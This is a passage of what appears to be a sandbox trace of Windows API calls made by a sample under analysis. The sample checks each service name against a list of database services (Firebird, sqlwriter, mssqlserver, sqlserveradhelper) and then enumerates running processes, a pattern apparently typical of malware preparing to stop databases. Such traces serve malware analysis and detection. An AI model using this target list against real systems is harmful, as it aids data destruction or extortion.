(lpString1="mssqlserver", lpString2="FontCache") returned 1 [0291.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0291.364] lstrlenW (lpString="gpsvc") returned 5 [0291.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0291.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0291.364] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0291.364] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0291.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0291.364] lstrlenW (lpString="iphlpsvc") returned 8 [0291.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.364] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0291.364] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0291.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0291.365] lstrlenW (lpString="KeyIso") returned 6 [0291.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0291.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0291.365] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0291.365] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0291.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0291.365] lstrlenW (lpString="LanmanServer") returned 12 [0291.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0291.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0291.365] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0291.365] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0291.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0291.365] lstrlenW (lpString="LanmanWorkstation") returned 17 [0291.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.365] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0291.365] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0291.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0291.365] lstrlenW (lpString="lfsvc") returned 5 [0291.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0291.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0291.365] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0291.365] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0291.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0291.365] lstrlenW (lpString="lmhosts") returned 7 [0291.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0291.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0291.365] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0291.365] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0291.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0291.366] lstrlenW (lpString="LSM") returned 3 [0291.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0291.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0291.366] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0291.366] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0291.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0291.366] lstrlenW (lpString="MpsSvc") returned 6 [0291.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0291.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0291.366] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0291.366] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0291.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0291.366] lstrlenW (lpString="NcbService") returned 10 [0291.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0291.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0291.366] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0291.366] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0291.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0291.366] lstrlenW (lpString="netprofm") returned 8 [0291.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0291.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0291.366] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0291.366] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0291.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0291.366] lstrlenW (lpString="NgcSvc") returned 6 [0291.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0291.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0291.367] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0291.367] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0291.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0291.367] lstrlenW (lpString="NlaSvc") returned 6 [0291.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0291.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0291.367] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0291.367] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0291.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0291.367] lstrlenW (lpString="nsi") returned 3 [0291.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0291.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0291.367] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0291.367] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0291.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0291.367] lstrlenW (lpString="PcaSvc") returned 6 [0291.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0291.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0291.367] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0291.367] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0291.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0291.367] lstrlenW (lpString="PlugPlay") returned 8 [0291.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0291.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0291.367] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0291.367] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0291.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0291.367] lstrlenW (lpString="Power") returned 5 [0291.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0291.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0291.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0291.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0291.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0291.368] lstrlenW (lpString="ProfSvc") returned 7 [0291.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0291.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0291.368] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0291.368] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0291.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0291.368] lstrlenW (lpString="RpcEptMapper") returned 12 [0291.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.368] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0291.368] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0291.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0291.368] lstrlenW (lpString="RpcSs") returned 5 [0291.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0291.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0291.368] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0291.368] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0291.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0291.368] lstrlenW (lpString="SamSs") returned 5 [0291.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0291.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0291.368] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0291.368] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0291.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0291.369] lstrlenW (lpString="Schedule") returned 8 [0291.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0291.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0291.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0291.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0291.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0291.369] lstrlenW (lpString="SecurityHealthService") returned 21 [0291.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0291.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0291.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0291.369] lstrlenW (lpString="SENS") returned 4 [0291.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0291.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0291.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0291.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0291.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0291.369] lstrlenW (lpString="ShellHWDetection") returned 16 [0291.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.369] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0291.369] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0291.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0291.369] lstrlenW (lpString="Spooler") returned 7 [0291.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0291.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0291.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0291.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0291.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0291.370] lstrlenW (lpString="StateRepository") returned 15 [0291.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0291.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0291.370] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0291.370] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0291.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0291.370] lstrlenW (lpString="SysMain") returned 7 [0291.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0291.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0291.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0291.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0291.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0291.370] lstrlenW (lpString="SystemEventsBroker") returned 18 [0291.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0291.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0291.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0291.370] lstrlenW (lpString="Themes") returned 6 [0291.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0291.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0291.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0291.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0291.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0291.370] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0291.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0291.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0291.371] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0291.371] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0291.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x44c [0291.375] Process32FirstW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.375] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0291.376] lstrlenW (lpString="System") returned 6 [0291.376] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0291.377] lstrlenW (lpString="smss.exe") returned 8 [0291.377] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.378] lstrlenW (lpString="csrss.exe") returned 9 [0291.378] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0291.473] lstrlenW (lpString="wininit.exe") returned 11 [0291.473] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.474] lstrlenW (lpString="csrss.exe") returned 9 [0291.474] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0291.475] lstrlenW (lpString="winlogon.exe") returned 12 [0291.475] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0291.476] lstrlenW (lpString="services.exe") returned 12 [0291.476] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0291.476] lstrlenW (lpString="lsass.exe") returned 9 [0291.476] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.477] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.477] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.478] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.478] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.479] lstrlenW (lpString="svchost.exe") returned 11 [0291.479] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.480] lstrlenW (lpString="svchost.exe") returned 11 [0291.480] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0291.481] lstrlenW (lpString="dwm.exe") returned 7 [0291.481] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.481] lstrlenW (lpString="svchost.exe") returned 11 [0291.481] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.482] lstrlenW (lpString="svchost.exe") returned 11 [0291.482] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.482] lstrlenW (lpString="svchost.exe") returned 11 [0291.483] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.483] lstrlenW (lpString="svchost.exe") returned 11 [0291.483] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.484] lstrlenW (lpString="svchost.exe") returned 11 [0291.484] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.485] lstrlenW (lpString="svchost.exe") returned 11 [0291.485] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.485] lstrlenW (lpString="svchost.exe") returned 11 [0291.485] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.487] lstrlenW (lpString="svchost.exe") returned 11 [0291.487] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.487] lstrlenW (lpString="svchost.exe") returned 11 [0291.487] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.488] lstrlenW (lpString="svchost.exe") returned 11 [0291.488] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0291.489] lstrlenW (lpString="spoolsv.exe") returned 11 [0291.489] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.490] lstrlenW (lpString="svchost.exe") returned 11 [0291.490] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0291.490] lstrlenW (lpString="audiodg.exe") returned 11 [0291.490] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0291.491] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0291.491] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0291.492] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0291.492] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0291.492] lstrlenW (lpString="Memory Compression") returned 18 [0291.492] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.493] lstrlenW (lpString="svchost.exe") returned 11 [0291.493] Process32NextW (in: hSnapshot=0x44c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.494] lstrlenW (lpString="sihost.exe") returned 10 [0291.494] 